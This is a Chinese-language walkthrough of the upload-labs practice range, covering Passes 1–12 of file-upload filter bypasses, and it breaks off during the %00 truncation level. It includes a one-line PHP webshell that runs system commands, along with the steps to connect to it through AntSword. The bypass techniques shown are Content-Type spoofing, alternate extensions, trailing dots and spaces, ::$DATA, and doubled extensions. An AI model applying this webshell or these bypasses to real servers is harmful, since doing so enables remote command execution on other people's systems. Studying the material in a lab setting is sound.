Pass 1 js前端绕过
当数据包在发往后台(后端)的时候,bp才能抓到包,如果bp抓不到,说明数据包没有经过客户端发往后端,就被阻拦下来了。
创建一个php文件,里面包含一句话木马:<?php @system($_GET['a']); ?>
(GET括号里面的a为蚁剑连接密码)
将文件后缀修改成能上传的文件,开启抓包,点击上传
将1.jpg改成1.php(因为已经上传成功了,绕过了前端的验证)
改完后直接放包回去,图片就会上传成功了
打开图像之后复制网址,打开蚁剑
添加数据后双击,即可进入到服务器目录
Pass 2 content-type 绕过
首先,放php文件,上传失败
接着,放一个png/jpg文件,上传成功。
刷新,再放一次png文件,抓包,我们试着删掉content-type,看看照片上传成功的原因和它有没有关系
删掉之后,放包,文件就会上传失败
因此,文件的上传与content-type有关系
再上传php文件,抓包,将之前抓包的png文件的Content-Type替换掉php文件的,放包
上传成功
接下来的操作参考Pass 1即可
Pass 3 php3绕过或php5绕过(步骤较繁琐)
上传一个php,结果如图
不允许上传的后缀文件我们称之为黑名单
看一下源码
可以看出,源码中对加点、大写绕过、DATA绕过、加空格绕过这几种方法都有了防范
网上查到可以把后缀改成php3或者php5,我尝试了一下,虽然文件上传成功了,但始终无法在蚁剑测试连接成功
最后,我查到了原因。
还是直接说操作流程吧。
首先,下一个phpstudy2016,配置好站点域名并将upload文件下载到www路径
切换版本为5.4.45+apache(不要有-nts,这是一个线程问题)
之后其他选项菜单--- 打开配置文件 --- hppd-conf
打开文件之后,编辑--查找,输入addtype向下搜索,找到和403行一样的就行
将403行改成下面这样
AddType application/x-httpd-php .php .php3 .php5 .phtml
AddType application,增加类型的应用解释,.php3 .php5 .phtml等都看作php文件
保存之后重启phpstudy功能,进入靶场
之后的流程和前面一样,上传php文件,抓包改后缀,打开图像,用蚁剑添加数据。。。
Pass 4
上传含有一句话木马文件1.php修改过的1.jpg,抓包,将后缀改成1.php. .(php+点+空格+点)
放包,文件上传成功,之后就是打开图像,用蚁剑连接即可。
Pass 5
可以用和Pass 4一样的方法
Pass 6 大写绕过
源码缺少了下面的代码
$file_ext = strtolower($file_ext); //转换为小写
Pass 7 空格绕过
抓包后缀加空格就好了,原理就是,原码没有防范这个方法(首尾去空)
Pass 8 后缀加点绕过
源码相比之前缺少了下面的代码
$file_name = deldot($file_name);//删除文件名末尾的点
既然它不删除文件名末尾的点,那我们就在文件后缀加点即可。
上传一句话木马php文件,抓包,后缀加一个点,文件上传成功。
至于蚁剑上的后缀要不要去点,一般系统会自动帮你去掉,如果不行就手动去点吧。
Pass 9 $Data绕过
这一关,没有对DATA处理,上传php文件抓包,后缀加上::DATA
放包让文件上传,打开图像复制网址,用蚁剑连接服务器,删掉增加的后缀就可连接成功
Pass 10 点空格点绕过
黑名单
参考Pass 9,上传php文件抓包后缀加:点空格点(. .)
其他操作流程一样
Pass 11 双写后缀绕过
查看源码,黑名单老样子
函数解析
$file_name = str_ireplace($deny_ext,"", $file_name);
该函数为替换函数
作用是将 上传的文件$file_name中含有黑名单文件的部分$deny_ext替换成空字符
我们试着上传一个php文件,成功后打开图像
就会发现后缀php变成的空
因为这个函数只执行一次,所以我们使用双写绕过方式通关
上传文件抓包后缀改成pphphp
(因为函数是从左到右执行,p php ph,删掉第一个遇到的php后,不会再回头看p,只会往后,后面只有hp,所以最后就会剩下php)
Pass 12 %00截断
知识点
0x00和%00都表示空,一个在编程语言中,一个在url编码中
url编码是将Ascll转化为16进制,再加%
例如,在百度上搜索 你好吗+空格空格空格
我们会发现后面有三个%20,这个就是url编码
在ascll中,空格就是数字32,转换为16进制就是20
那么%00对照ASCLL表就是空字符
我们在百度链接你好后面加上%00,回车发现搜索框里就会变成了你好
我们已经清楚的知道了%00的来源和作用
开始通关
查看源码
$ext_arr = array('jpg','png','gif');
只给上传三种文件(白名单)
上传一个jpg文件,抓包,在upload/后面加上111.php%00(将文件的后缀改成php)